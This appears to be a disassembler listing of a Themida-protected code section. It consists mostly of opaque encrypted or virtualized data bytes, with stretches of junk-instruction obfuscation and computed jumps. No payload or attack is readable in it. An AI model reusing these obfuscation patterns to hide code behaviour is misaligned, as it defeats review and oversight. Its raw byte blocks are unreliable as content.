dd 20307FC3h, 0AF9B2D11h, 242ABC9Eh, 89502215h, 405E0h
dd 0E8830000h, 24048704h, 2404895Ch
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edi
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ecx
push ebp
push 58443B6h
pop ebp
inc ebp
add ebp, 95217Ah
push ebp
pop edi
pop ebp
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ecx
push 298Dh
mov [esp], ebp
mov ebp, edi
mov [ecx+8], ebp
pop ebp
push dword ptr [esp]
pop ecx
add esp, 4
mov edi, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_58442C
; ---------------------------------------------------------------------------
db 28h
dd 0D553E142h, 0B8744705h, 6196B74h, 0E0FFC503h, 496571F8h
dd 68C4D3F2h, 5BDDE22Dh, 7D865DFDh, 6A479F8Fh, 23EA76F0h
dd 41894F46h, 44652C67h, 4551BEB0h, 62D68EC7h, 0D640927h
dd 23A39CD2h, 3E79D1BEh, 3DF83083h, 5E14DC3Eh, 53204073h
dd 50E2694h, 2EB23346h, 48AD5813h, 5D91099Bh, 28E6210Bh
dd 4892512Bh, 5792AD77h, 6F9D87B9h, 1B5C0ACEh, 493721C2h
dd 7AA75A65h, 7B60EBA3h, 6158FAB8h, 12E8h, 0B1BE9000h
dd 98A55684h, 88AF316Ah, 5E19D58Fh, 66DB8D75h, 5FD64BBEh
dd 0CBD28160h, 0F81090CDh, 95C78161h, 68000074h, 1CEEh
dd 0F0B70F5Ah, 810F37FFh, 0
; ---------------------------------------------------------------------------
pop eax
jmp loc_5E2F98
; ---------------------------------------------------------------------------
dw 0B76Eh
dd 897225EAh
; ---------------------------------------------------------------------------
loc_5E2F98: ; CODE XREF: Themida_:005E2F8Dj
xor eax, 3B2B8F6h
mov si, 0E1A2h
sub eax, 66BCABF0h
sub eax, 22F9CEC7h
jmp loc_5E2FC1
; ---------------------------------------------------------------------------
db 47h
dd 3DF268B8h, 50FFD0A3h, 0D690B5A8h
db 0E8h
; ---------------------------------------------------------------------------
loc_5E2FC1: ; CODE XREF: Themida_:005E2FAEj
push eax
xor ebx, 1C4E59F6h
pop dword ptr [edi]
add ebx, 202CED3Ah
sub edi, 158C463Dh
jmp loc_5E2FE8
; ---------------------------------------------------------------------------
db 84h
dd 0DE4CBFh, 0AB2746B0h, 3287D441h
; ---------------------------------------------------------------------------
loc_5E2FE8: ; CODE XREF: Themida_:005E2FD6j
add edi, 158C4639h
jmp loc_5E2FFA
; ---------------------------------------------------------------------------
db 0C5h
dd 50517968h
db 0EAh, 88h
; ---------------------------------------------------------------------------
loc_5E2FFA: ; CODE XREF: Themida_:005E2FEEj
sub edx, 1
jnz loc_5E3015
cld
jmp loc_5E3036
; ---------------------------------------------------------------------------
dd 6CAE8FFBh, 1E8DB653h
db 0EAh
; ---------------------------------------------------------------------------
loc_5E3015: ; CODE XREF: Themida_:005E3000j
call sub_5E3026
sbb [eax-2Fh], ecx
arpl di, bp
and edx, [esi+esi*4-65ECE838h]
; =============== S U B R O U T I N E =======================================
sub_5E3026 proc near ; CODE XREF: Themida_:loc_5E3015p
or cl, 3Ah
pop ebx
jmp near ptr dword_5E2ECC+0B8h
sub_5E3026 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0BDh
dd 413013B5h
db 0F3h, 77h
; ---------------------------------------------------------------------------
loc_5E3036: ; CODE XREF: Themida_:005E3007j
jmp loc_5E305E
; ---------------------------------------------------------------------------
db 0E7h
dd 30333Dh, 7 dup(0)
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5E305E: ; CODE XREF: Themida_:loc_5E3036j
jmp loc_5E350B
; ---------------------------------------------------------------------------
push 6196EA4h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 6196F15h
jmp loc_58442C
; ---------------------------------------------------------------------------
push 6197067h
jmp loc_58442C
; ---------------------------------------------------------------------------
db 74h, 0E6h, 70h
dd 70DE7052h, 6EDC7052h, 77D96A50h, 70E47157h, 9FCC6352h
dd 3E644212h, 644664EEh, 775979CFh, 7B4866E6h, 21A52154h
dd 3B6E16B7h, 70E5C207h, 109DB516h, 0F2BD0E47h, 0AEBD3A19h
dd 0E673656Fh, 6AFBDF6Eh, 9DC4C4E2h, 93997923h, 0FB9ACB38h
dd 0E82CA9DCh, 90F5168Eh, 0E5D230C1h, 0BE0E0A8Ah, 0ADCC80D1h
dd 292BBA9Ch, 0AE4BC718h, 0F794FEC7h, 0ACDB07D5h, 0E4C6E95Ah
dd 2B6AFB51h, 8AF1E03Ah, 5C64A90Ah, 2BB45h, 0DFB91900h
dd 783F2D5h, 0D0109DB5h, 3237834Dh, 67067754h, 78168EA5h
dd 85ADF215h, 0C8491834h, 0C1788100h, 0BFAAE7E5h, 8075E8C7h
dd 7913162Eh, 29064514h, 122C5AB4h, 331C2307h, 6A71DDC2h
dd 88B43C5Dh, 57862561h, 0D02B4A2h, 0F5DDFA1Bh, 0E8CAE864h
dd 6C82F755h, 7D76826Eh, 2FBF3EEh, 0D5610000h, 0AFFF2181h
dd 0C7193F9Fh, 0AEFD2383h, 8F1E04A2h, 79B6E5C5h, 2F8FC514h
dd 3797BB09h, 2C8ABE11h, 3999B306h, 64BE2F30h, 2D16B723h
dd 0BEA34AF4h, 0B57FDB0Ah, 0C548109Dh, 0EBD607A4h, 441684DAh
dd 4798F263h, 3C610A84h, 0F9D637B4h, 0F2D084D1h, 82D381D0h
dd 84D05D45h, 0FD8C54B5h, 0E948DE9Ah, 90C587DAh, 80081644h
dd 8AEFEA81h, 0D2000002h, 0CEF4D284h, 0CEF4D27Ch, 0D0F2D07Ah
dd 0CFF1D17Fh, 0C1F4D282h, 0A4B0FD6Eh, 0BE942406h, 0A3A53A20h
dd 0C08C1D03h, 87F6D9E2h, 16B7240Bh, 0A3A1BDD4h, 7AEBC8BEh
dd 1684DA8Fh, 7441578h, 0AABB9323h, 0BD194C6Bh, 860A8447h
dd 0D04EBD07h, 270A8447h, 6E2E4EEBh, 0D65AA775h, 18Ch
dd 0E06CBD6Ch, 0B2DC6D51h, 0B4E66095h, 6EAF109Dh, 9DB4A3FFh
dd 5238D410h, 0B12F19D0h, 0A40263A2h, 0DC437D64h, 0CF853858h
dd 5E8F2C4Dh, 168EF023h, 0A9D869ACh, 0A8AEC29h, 0DD6F5380h
dd 33BDDC6Dh, 98B760D9h, 8AEBE965h, 8953B20Ah, 0ACD103D1h
dd 31AB5Ah, 260C0000h, 0A52FB993h, 0EBC8BEA3h, 8E989B7Ah
dd 18296C16h, 8A8969E9h, 0B546C00Ah, 0AD3EC987h, 3887AB5Ah
dd 0B7054918h, 2A4BCA9Bh, 0CE7BA2h, 0BDDF0000h, 6D51E06Ch
dd 626AEE0h, 3A6AA8DAh, 36074598h, 0A3A7B6D7h, 2C2B3A12h
dd 0CD9CB606h, 0FF52844Ch, 67506D4Dh, 0E1345F1h, 67E3126Ah
dd 30109EA8h, 0BE2F8CEDh, 109EA864h, 0A1E0E82Dh, 109EA3FFh
dd 0C01E2E7Fh, 0BE1D6980h, 0A2F26CA1h, 5ABB109Eh, 9C104592h
dd 99168900h, 0E6735774h, 0DB6A506Eh, 0C9BA0479h, 44E3800Ch
dd 13809h, 0C0962400h, 0E06EC0E2h, 0FE4CE0C2h, 0E769FAE0h
dd 54E1C7h, 4FBC73A2h, 4E745202h, 547654FEh, 476949FFh
dd 6B7856F6h, 2495F164h, 4B5E16B7h, 4FE0C217h, 4895B701h
dd 7456FA49h, 0BBDA6BE1h, 83D2FDDAh, 8E168197h, 0F52D0F06h
dd 7F1EC1C0h, 0F0416775h, 19587F5Ch, 0E915FB48h, 83DDFBC5h
dd 51E06CBDh, 52005072h, 57F5488Ah, 54323777h, 0FB130677h
dd 49CC168Eh, 5BF9486Ah, 648A087Bh, 73C60A8Ah, 6570EA1Bh
dd 0D4390A8Ah, 0A63315B5h, 0A2C29FAEh, 20000000h, 0DB0ABEA3h
dd 109DB57Fh, 7A4C548h, 84DAE7D6h, 0A4B5D816h, 9D3D0FA2h
dd 0CD5F2ABBh, 64E7EC7Dh, 1BA3A834h, 1A2B4A2Bh, 8CC8153Dh
dd 0F5945CBDh, 209EBD04h, 25BACB60h, 0CFF34223h, 3F80D181h
dd 7CCFB653h, 7CCD85F6h, 7DD0F2D0h, 0B5C7ECFh, 80D2F445h
dd 2D607FCEh, 0D45A25B1h, 27B71B7Ah, 4CFFBC61h, 4C2DF39Dh
dd 54E5A7FDh, 0E1B9379Bh, 442583B1h, 44644B70h, 1930BCD9h
dd 3FBC569Eh, 6B20B298h, 451475DDh, 87DAFCC4h, 72C3E5C5h
dd 88D5FDDAh, 0D41C7DCCh, 33815h, 7B960000h, 0E571BDE1h
dd 6DDF7254h, 0E365FADCh, 72E07052h, 252DFE3h, 92C20F33h
dd 20307FC3h, 0AF9B2D11h, 242ABC9Eh, 0F3682215h, 89000062h
dd 0B9512424h, 4, 4244C01h, 0E0895059h, 405h, 4E88300h
dd 5C240487h, 68240C89h, 5194h, 52241C89h, 3748D968h, 554A5A1Ah
dd 0E224DFBDh, 5DEA01EBh, 545AD189h, 83241C8Bh, 0EC8104C4h
dd 4, 8F240C89h, 34FF0843h, 0C4815B24h, 4, 52240C8Bh, 0C281E289h
dd 4, 4C281h, 14870000h, 25E95C24h, 18FFFA0Fh
db 49h, 96h, 0BFh
; ---------------------------------------------------------------------------
loc_5E350B: ; CODE XREF: Themida_:loc_5E305Ej
mov eax, 61971C4h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 8F26C9h, 5DA36D99h, 1EEE3054h, 3DCE78CDh, 4B355DDDh
dd 0E2AD262h, 20756877h, 5645D8E6h, 4CFD250Eh, 1E03C86Bh
dd 70494BD1h, 7618303Ch, 14751F72h, 5D0C155Ah, 7C9DED9h
dd 79CD7C58h, 3A6A1657h, 481F558Bh, 64B09E64h, 11E8h, 4FEF7F00h
dd 6784F0BDh, 889AF3EEh, 0CC9CDEB0h, 0F0807DD7h, 0B8665F1Dh
dd 0C7819667h, 5A4Ch, 80D38B60h, 0BB617EF5h, 165Ch, 0F8BF28Bh
dd 81F18B66h, 1A1046C1h, 38D0F7Ch, 50000000h, 0E9815EF9h
dd 4B2DCF84h, 5890Fh, 81660000h, 81CDE3DAh, 9A8EDC1h, 0BE90Ch
dd 86F40000h, 8707AD9Ah, 0E51FE54Fh, 8B66512Fh, 60078FC7h
dd 0FE9h, 47FF1D00h, 567EF4AEh, 0A55A762Fh, 0D05BC954h
dd 3EF8361h, 0DE8h, 8A513300h, 0C936E454h, 8564C305h, 0B8668BA1h
dd 4F5A34ADh, 6E9h, 0AF1F4F00h, 4BE60716h, 10850Fh, 0C78B0000h
dd 28E9h, 98E1600h, 0E383F99Bh, 0BE94417h, 0DD000000h
dd 246D881Dh, 9B3656A7h, 57E9530Ch, 0DFFFFFFFh, 28DB2A7Bh
dd 4E1176C4h, 2C8D8D3Bh, 6A061974h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0DEFFC356h
dd 6D770F51h, 0F08B66C9h, 1BBD8D89h, 6A0613h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 170424h, 56460000h, 9C2484C3h
dd 24BF66F2h, 0DD85C7A4h, 0FC061318h, 8B000068h, 1331559Dh
dd 5585C706h, 61330h, 6A000000h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1C042444h, 40000000h, 8F50C350h, 3243EAADh
dd 0FFF43020h, 13302DB5h, 6D858906h, 0FF061315h, 131D8995h
dd 719D8B06h, 6A061311h, 0A995FF00h, 8B06130Dh, 0A27FEBC0h
dd 1E6D4AA1h, 9EFDE2CAh, 0CACEB128h, 0D6E64FB2h, 8DC10376h
dd 0C20AFC6Fh, 352129C9h, 2D4A619Dh, 7C1CAF05h, 4E6F6FF6h
dd 64C14829h, 6047B113h, 405A6366h, 0A327CEC4h, 574D4182h
dd 90F607A6h, 50D5E21h, 0E125F34Fh, 966C438Ch, 0BD939A44h
dd 15D35AECh, 3488BCBh, 43484B73h, 24122B48h, 528ABF52h
dd 2ED32595h, 0E35307B9h, 924F3E27h, 6629F4CFh, 2229982Ah
dd 9C7E224h, 8D8D0CB2h, 6197557h, 11D59D8Bh, 8D890613h
dd 6131BBDh, 0C7F3B70Fh, 1318DD85h, 58D806h, 2D853100h
dd 0C7061331h, 13305585h, 6, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 13E7D8F0h
dd 76F2432Ah, 1011CE81h, 0EDB657C4h, 13D1B5FFh, 0B58B0613h
dd 6130AA9h, 8995FFFCh, 6A06131Dh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 4818C352h
dd 0BCA309E6h, 6052F717h, 1EC58D89h, 89530613h, 1325CDBDh
dd 6A5806h, 0DA995FFh, 0C08B0613h, 0FAA73AEBh, 7B32943Fh
dd 0D5F15FFh, 0F5B1717Ch, 64AD3967h, 571484FFh, 0FD0D3A7h
dd 6605AAFCh, 1D80F83Eh, 45E2C20Dh, 0A33CB076h, 4A4B0581h
dd 8A6E6AFFh, 4787CF3Bh, 0DA006866h, 29E9h, 85C27F00h
dd 4Fh, 8 dup(0)
dd 0FBE90000h, 86000004h, 9AC01E38h, 82A80648h, 9CBE1C2Eh
dd 83A5054Bh, 8DC01E36h, 58FC49A2h, 4A08587Ah, 57F1466Ch
dd 4C005177h, 0B7A656Eh, 16B7298Fh, 0BD1D4158h, 6D51E06Ch
dd 735774E0h, 0B9D869E1h, 1E04212Fh, 5675C48Eh, 9DB4AB27h
dd 70117410h, 0B6D36668h, 0FB1A2B25h, 0A3123D9Ah, 0ABBE6107h
dd 69AB2756h, 1174109Eh, 0D5F96870h, 99B50584h, 0D56569F8h
dd 0FB77E879h, 6EED97Eh, 93A3FA91h, 1AABAD37h, 19AE9432h
dd 0D3C53569h, 751459B2h, 0A5E07355h, 0EC2D3C18h, 0C09FBC8Dh
dd 9DBBD14Dh, 717B9A10h, 0B081D15Fh, 489BBF9Ch, 8D03100h
dd 785A0D7Eh, 0B8D968E6h, 1891E30h, 9DBC128Ch, 0DBBADB10h
dd 0C884D5FBh, 0DA7AC7EBh, 23C20A8Bh, 0E28AFB24h, 17B2F176h
dd 7D223DB8h, 99232DB7h, 9E13EB6Ah, 55E66410h, 41B56927h
dd 64D1A3h, 0BD650000h, 2051E06Ch, 109DB4A4h, 0DC007919h
dd 0A341EA1Ch, 6C4h, 0A3331700h, 0BDB721ABh, 6E50E16Dh
dd 3020AFDCh, 0B081E021h, 0FD503D8Eh, 0B5025C91h, 4ACB109Dh
dd 9AFB1A2Bh, 61DA18CBh, 0EA6499B6h, 0B3109DB4h, 0E9BD6D52h
dd 97B83743h, 93BB0B4Dh, 0F5FF0B34h, 0BEC45D09h, 3B85E46Eh
dd 0A2AA3B1Dh, 70BDA604h, 0E17155E4h, 9C36DC6Dh, 6EE6731Fh
dd 0FB4B6F50h, 0F6478953h, 71C30756h, 0F34688D9h, 0D1C30859h
dd 29E4BB8h, 103A8E30h, 3ACF3941h, 7308824Bh, 41229B49h
dd 6243A3h, 0BD170000h, 7155E470h, 89DA6BDFh, 73C27009h
dd 52DFC1E1h, 0C00F3302h, 6E98C190h, 0E8F1AFDDh, 0AF93A341h
dd 6FD96E21h, 16DE3F0Eh, 4F8Fh, 70BDB300h, 547655E4h, 99F849FFh
dd 0DBAAFD4Fh, 5D8BFC8Ah, 1F31C375h, 0CFAEEF7Eh, 0D577CAF0h
dd 577B5C0Bh, 0BA0D35E2h, 0B69C2C8Eh, 7C5E66A7h, 0E94767EDh
dd 50E16DBDh, 9DB4A021h, 791910h, 41EA1CDCh, 6C4A3h, 33170000h
dd 0BA24ACA4h, 4346DDC2h, 142EBACEh, 14368ACCh, 0A85090B7h
dd 26F3B0C0h, 0BA0B4F9Eh, 638DC392h, 0C71941E6h, 0AEC266BDh
dd 80E18FE5h, 468850B1h, 84495F2h, 144D4969h, 31205572h
dd 0E2168F72h, 1DB092A3h, 18A98F2Fh, 78D42534h, 0B10A8B70h
dd 67FAA821h, 52E3C5E5h, 0AAF57234h, 751489C2h, 0A7E07456h
dd 0E4253414h, 8B55B485h, 1F67FADCh, 3E8F7C78h, 0F9DE3F0Eh
dd 0CEF043EAh, 0A0B1D07Ah, 27DB70DAh, 0EE66F396h, 0C5932F8Fh
dd 6D5AAC73h, 130h, 0C8BEA3D1h, 0BC377AEBh, 4DD0168Eh
dd 8D00DFFCh, 0A8AA611h, 90ACF5DAh, 3E55A064h, 0F243955Fh
dd 3567C5Ah, 83D6F849h, 0F89278C9h, 0CE7ECF83h, 5EEBCFF0h
dd 0A676EEF6h, 0E5AAD61h, 6Dh, 9BDDC234h, 1068134h, 0BFA814DCh
dd 0F571E4C3h, 0FE6F629Bh, 0E33FCE9Fh, 0E5909E04h, 2CA6D7F8h
dd 0F5909E05h, 4DBE4890h, 2B29B89Ah, 0C5F1FB1Ah, 0B995259Ah
dd 0B786C215h, 65983756h, 0EF629BC9h, 0F15FF0D2h, 2A153290h
dd 0D80D3417h, 109E9E7Eh, 0C0E1C647h, 93CE166Ch, 94h, 4CB183ACh
dd 8AB87E6Bh, 92396DA5h, 0C20AD7C8h, 0C8BEA318h, 0A18F7AEBh
dd 1578168Eh, 93F94B6h, 0FC2320BFh, 5045B1BBh, 14468EA1h
dd 52B8BC1h, 0CC88D5B4h, 0EA6D9CADh, 2B0A8AB0h, 0D27CCEF4h
dd 30A50283h, 0A8AAFD6h, 1C767E9Fh, 0EA62F39Fh, 0F195CCCCh
dd 43CAF5D2h, 959D168h, 0AB0123A7h, 1CB1BE04h, 0A06E35D4h
dd 8A0B1071h, 26B69CBBh, 0F4FC1D2Ch, 6CFD4FE2h, 0B385F678h
dd 59212AEh, 1B9FBF6Eh, 0E7755D7Ah, 174616Bh, 0A57EE1Ah
dd 0DA7856B7h, 280ABEA3h, 68A9B896h, 9DB49DF9h, 0D3646610h
dd 5E7D1C7Dh, 84C1482Fh, 3A0E516h, 3F55B124h, 0FF1E0A84h
dd 15476F5h, 0F4456B4Bh, 66074395h, 9866A6D7h, 3BB752E7h
dd 8BC114BEh, 2381032Ch, 0F3420C9Eh, 0AB7F2D92h, 6D53814Bh
dd 0E5BFAADCh, 1326C74Dh, 50DFE372h, 6223B63Ah, 7C1D77B9h
dd 475F7EDh, 6EDE6F53h, 2436BEDFh, 3A1BBB91h, 7E268615h
dd 0E3EDB9F1h, 0CFEC60F1h, 67F65EEBh, 124F9E26h, 3, 0BDE17BB0h
dd 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h
dd 7FC392C2h, 2D112030h, 0BC9EAF9Bh, 2215242Ah, 81E18951h
dd 4C1h, 4E98100h, 87000000h, 895C240Ch, 9368240Ch, 8900002Eh
dd 8951240Ch, 4C181E1h, 81000000h, 4E9h, 240C8700h, 2434895Ch
dd 1975C968h, 240C8B06h, 4C481h, 8B540000h, 0C4832434h
dd 79646804h, 0C890000h, 8468F24h, 5E2434FFh, 4C481h, 0C8B0000h
dd 0E7895724h, 4C781h, 0C7830000h, 243C8704h, 6A6E95Ch
dd 0D943FFFAh, 111A3B97h, 46B8E06Ah, 306197Ah, 25E0FFC5h
dd 66685EEh, 7B09F88Eh, 637508F0h, 5935DCA9h, 853583DBh
dd 41EA921h, 28157CACh, 0A75AB7EDh, 1A345316h, 657932D4h
dd 0B016422h, 0D4B5243h, 7056BF77h, 82435F30h, 4075320Bh
dd 0DC7A683Fh, 91451625h, 0E61B41DCh, 7004D2AAh, 25216E5Bh
dd 803629ACh, 0C02E2F08h, 0BC43C779h, 267BCC5h, 0C64DA7EFh
dd 10105039h, 0AE35C4DBh, 0EF443FC7h, 5372156Ch, 5DB160A0h
dd 0AEB0BB59h, 57493256h, 0ABB36B56h, 0D4383D36h, 16B13256h
dd 2C9CC237h, 51316C54h, 5DB15391h, 0AEB135BFh, 2C275F56h
dd 2AB4A505h, 0DA483256h, 0EAB138DDh, 0F3BE5256h, 0BAB13256h
dd 5DD020E0h, 23BEC756h, 57B1325Eh, 0ABB3B259h, 0B4D13256h
dd 2D13256h, 75B1325Fh, 5259572Fh, 921CA043h, 0FDEFCEEFh
dd 5163C6ECh, 0ABD06C03h, 0D5BEDB56h, 0ED83256h, 3A532EA3h
dd 0CE40D540h, 0B5C8D3BEh, 0F3E165DAh, 57B13256h, 297766EAh
dd 0D55ED310h, 0DF3BCA56h, 75B13209h, 40F92E56h, 0FE33172Ch
dd 3B538039h, 0C7CA023h, 53B13282h, 29B132A3h, 69BE3256h
dd 75B1325Fh, 4D05236h, 25BD9BCCh, 47B13237h, 57B13245h
dd 0CF59B36Ah, 3EDB18DEh, 8C000275h, 0F49FF974h, 0BA3F7DBCh
dd 5DB1C756h, 0AEBDDB36h, 96B43256h, 0C2D1E9h, 8172873Bh
dd 231AEE9h, 75B15334h, 0BAB0B959h, 5D493256h, 26BECE56h
dd 57B13277h, 0ABA5DB36h, 78103256h, 0DAF47E8Ah, 8DB567F5h
dd 0A56CEAC0h, 0A2D2933Bh, 5930871Bh, 793EE88Fh, 42B13237h
dd 0D5B13245h, 47127A7Dh, 0EE6B45E0h, 4F79C606h, 0E5FC9A4Eh
dd 0AEF22198h, 40303D56h, 42B13256h, 0D5B13244h, 0CBFFE551h
dd 4775167Ah, 27F1FB1Dh, 0C4298848h, 0AEB165E3h, 52363D36h
dd 0CDB13256h, 9172DBD7h, 0EAA1BD59h, 7E583256h, 9FB13256h
dd 0BC9D3EB0h, 5D581343h, 57D01149h, 0A5383D56h, 3CB13256h
dd 0EAB1325Fh, 589BAF22h, 1B93633h, 5C333D2Ch, 52B13256h
dd 5E583256h, 5B13256h, 6D34771Dh, 6DFAB280h, 75443256h
dd 0BB393D56h, 0A4B13256h, 0A1D13256h, 0D3BEF5E1h, 0ABB13256h
dd 0D2303D37h, 0E5B13256h, 75B133D5h, 0BAB1CB56h, 5DBBB759h
dd 0AB583256h, 2AB13256h, 0C6214094h, 0C7583256h, 0D3B13256h
dd 67AFB7EDh, 668D492Fh, 0CDB4F61Bh, 28271CD0h, 0BEB13212h
dd 0ABB13253h, 894FEEE1h, 60BE5213h, 75B13250h, 39B6FDD7h
dd 4D591C60h, 10B13256h, 0D1C9F44Ch, 9781F10h, 261D8F85h
dd 8CCB88A6h, 2D6DE3D7h, 0BAB15308h, 5DB123BFh, 28E61F56h
dd 1F31EF1Dh, 0E7D67028h, 8616E530h, 0E5583E55h, 28B13256h
dd 68CCB24Eh, 2C45A53Ah, 0F3E4404Fh, 57B1273Fh, 0ABB130AAh
dd 0D5A8B456h, 0FE583256h, 0E2B13256h, 0D90A1DC7h
dd 0C28D1E4Fh, 489EB495h, 0EC5ED960h, 0ABEFB275h, 0D269CA56h
dd 0EAB23253h, 75A03251h, 0BA833258h, 0ED03396h, 520EC603h
dd 2BFAE52Ch, 0A4DC8541h, 0D5B139DFh, 0EAB7DB56h, 6E7B3256h
dd 0E29DD24h, 0DDBE3256h, 0AEB1325Eh, 57B3B759h, 0CAD13256h
dd 3CD13256h, 0EAB1325Ch, 26970B08h, 0C93A96C6h, 4E1AE85h
dd 0A1B13237h, 57B12BD0h, 0ABA5DB56h, 70DF3256h, 57CCDF76h
dd 49BCAD70h, 11C8B8h, 0A551825Ch, 19D16D94h, 843B8CFBh
dd 0ABD060C4h, 0D5B1CA56h, 16B132AAh, 77E63256h, 0BAB13257h
dd 0B4B132A3h, 0AEB13258h, 61A577AEh, 8D5BBC6Fh, 0C44F9958h
dd 0EAB1EFD0h, 75BE3001h, 0B0583256h, 0E1B13256h, 4DC6C57h
dd 0AB0184FAh, 0CBB132A3h, 0D5B134BFh, 87A6B056h, 8D12373Fh
dd 0DCD16737h, 0C1407DEEh, 0AEB13DBFh, 36795956h, 36C575D0h
dd 4C51D144h, 0BFBD0D08h, 8D61B330h, 0BAB7DBAFh, 6A873256h
dd 7D733FF2h, 533853CBh, 0ABBFDB72h, 0AA2F3256h, 711BA71Ah
dd 2C7236Eh, 0A9B37FB2h, 5EB6A0Ch, 789536DFh, 49C223CEh
dd 0ABB134BFh, 91E6E456h, 7742507Bh, 25E96837h, 0ED7AB936h
dd 3CEFEBDDh, 0DB9A16C5h, 5158235Eh, 7DB13256h, 0B79C7601h
dd 0B2EBAFA5h, 75A2DBCAh, 66FE3256h, 95DA88B3h, 0DAF6B437h
dd 0B75220CBh, 0A78E6CCFh, 2D79B303h, 3D497E9h, 75B13250h
dd 0B7150560h, 3C2CE194h, 0BAD614C6h, 0D6B280EBh, 878ECCBEh
dd 0D5A5DB62h, 9F1D3256h, 8429495Ch, 97F56580h, 7401C134h
dd 4B6D7DF8h, 372C59ECh, 0ABB8DBCAh, 0C72C3256h, 0B428D2B5h
dd 0F4E43E69h, 0C4E7CA87h, 5DB7DB6Eh, 99873256h, 84733FF2h
dd 840F54CBh, 5CD05372h, 0BAB51612h, 15E36204h, 0EA803D37h
dd 7803D04h, 0A1E9680Eh, 57A5DB67h, 9EDD3256h, 64E9099Ch
dd 7B525C0h, 9CC18174h, 1F2D3D38h, 5EB192Ch, 0BAD6140Eh
dd 0CAB280EBh, 0ABB16A37h, 0D5BDB959h, 65BE3256h, 75B13250h
dd 0BAB1B859h, 5DB13256h, 47B132AEh, 57B13242h, 3E3BDB9h
dd 889BDF71h, 23ADF88Eh, 0E00A1B25h, 65F3F442h, 52B132A3h
dd 0AEB133DBh, 57B1CA56h, 0CBB132AEh, 0D5BCB259h, 0E2583256h
dd 9FB13256h, 0EC1EED5Fh, 3CECDEB8h, 0AEA2BD59h, 59583256h
dd 0D8B13256h, 659EF2DFh, 0FCD125C9h, 0B2116F94h, 0B5B13281h
dd 5DB138DAh, 5B315256h, 0A4305403h, 0ABD0D41Fh, 2B3A5256h
dd 8AD0E2DDh, 75D0F5DCh, 0BAB1CE56h, 5DBBB459h, 0AB583256h
dd 67B13256h, 6D1C0142h, 5DBE3256h, 0EAB13257h, 89B132AFh
dd 0BF583256h, 0FB13256h, 0A3851F85h, 58583256h, 9BB13256h
dd 0F2B06548h, 971CFA6Ah, 4042EDABh, 0BA44B3F1h, 2E35256h
dd 0B2A6DDD7h, 57D0748Ah, 20D75256h, 297CB29Eh, 16B13237h
dd 7C583256h, 0DB13256h, 0BD33E206h, 9E99B5CCh, 574D3256h
dd 0ABB1CA56h, 0D5B13BBFh, 33A7CB56h, 3E5FFDFAh, 0BAB10F53h
dd 5D353D36h, 2EB13256h, 57D09483h, 5B3A5256h, 0DAD0F3DCh
dd 0EAB133D3h, 75B1CA56h, 0BAB126BFh, 0B1425A56h, 85185266h
dd 0F375D4BBh, 163BB259h, 30A99A4Bh, 0E5B13264h, 75B127D3h
dd 0BAA1DB56h, 0F6BA3256h, 37686F53h, 0B8EED512h, 0DC1E94F9h
dd 0D5B167DBh, 13B132A3h, 0FEBE3256h, 0BAB13257h, 52B132AFh
dd 0AEB133D3h, 57B1CE56h, 0B8585236h, 9AB13256h, 9B49BF4h
dd 0CE34F467h, 0DC48F617h, 240B0B2Ch, 23BEB8C5h, 57B13256h
dd 55063D37h, 0DAB13237h, 0EAB13EDAh, 73303D56h, 0B5B13256h
dd 5DB132DDh, 47B13256h, 57B13244h, 4F5BA681h, 0DE4DCC2Ah
dd 0D0F371ECh, 8964AA90h, 0BAB193FEh, 0DC72B936h, 28CCAB81h
dd 57B1536Ah, 0CA6FB836h, 0C6583256h, 5B13256h, 3A37D1B2h
dd 18582C3Ch, 6FF6D165h, 29F50B0Ah, 57B19074h, 0CBB132AAh
dd 0CCC68930h, 8B66B930h, 75BDB659h, 0BD583256h, 0DAB13256h
dd 3E00E0D6h, 57B1E8C4h, 0C847B236h, 0DAEB6336h, 0EAB132DEh
dd 75D05356h, 0BABEDB56h, 0D9E53256h, 7836CA9Dh, 185AE473h
dd 0C1967DAFh, 0D5BDDBF0h, 71743256h, 71B813E3h, 5E3654EAh
dd 5DB1A36Dh, 1E63B236h, 36618559h, 53B132AEh, 0D5443256h
dd 0EAB8DB56h, 31F23256h, 0BCAC89A7h, 5D8F2F75h, 0AEB1CA56h
dd 57B8B059h, 11D13256h, 0A73A2947h, 0EAD05336h, 75A3DB56h
dd 62193256h, 81599BF9h, 556EC7EFh, 73BE3A8Eh, 312E72Fh
dd 0D5443256h, 0ED353D56h, 7AB13256h, 0BAB133D9h, 5DB1CE56h
dd 5BB132AFh, 57443256h, 0ABB1CA56h, 0D5B8DB36h, 56FC3256h
dd 0F392B3CFh, 0DB68B1D9h, 5DBFDB36h, 0ECCB3256h, 8975625Dh
dd 84A4BD9Eh, 52B78BA9h, 0E9788930h, 89B13237h, 4FD13256h
dd 9043FECh, 0AEB15332h, 89063D36h, 12D75237h, 0D5D0B891h
dd 6A495256h, 75D09AB8h, 0BAB1C756h, 5DB9BD59h, 29BE3256h
dd 57B13254h, 0ABB15336h, 0D5B13BBFh, 2C2C0A56h, 4F3B252Fh
dd 0BAB16E28h, 0A4B132AEh, 22BE3256h, 57B13257h, 53B132AFh
dd 0DA583256h, 30B13256h, 2E1E68F6h, 0E53DAF18h, 5379B5ACh
dd 0AE497303h, 57A0DB56h, 248D3256h, 45ED498Fh, 6AD49381h
dd 0D381B056h, 0BA937FCCh, 5DB1CE56h, 57B132AFh, 44583256h
dd 18B13256h, 3F9B3A5Bh, 9D57EC6Ch, 6830795Ch, 3118B252h
dd 5DB12A10h, 0AEB13EBFh, 972D0056h, 8EE79EEh, 809519ECh
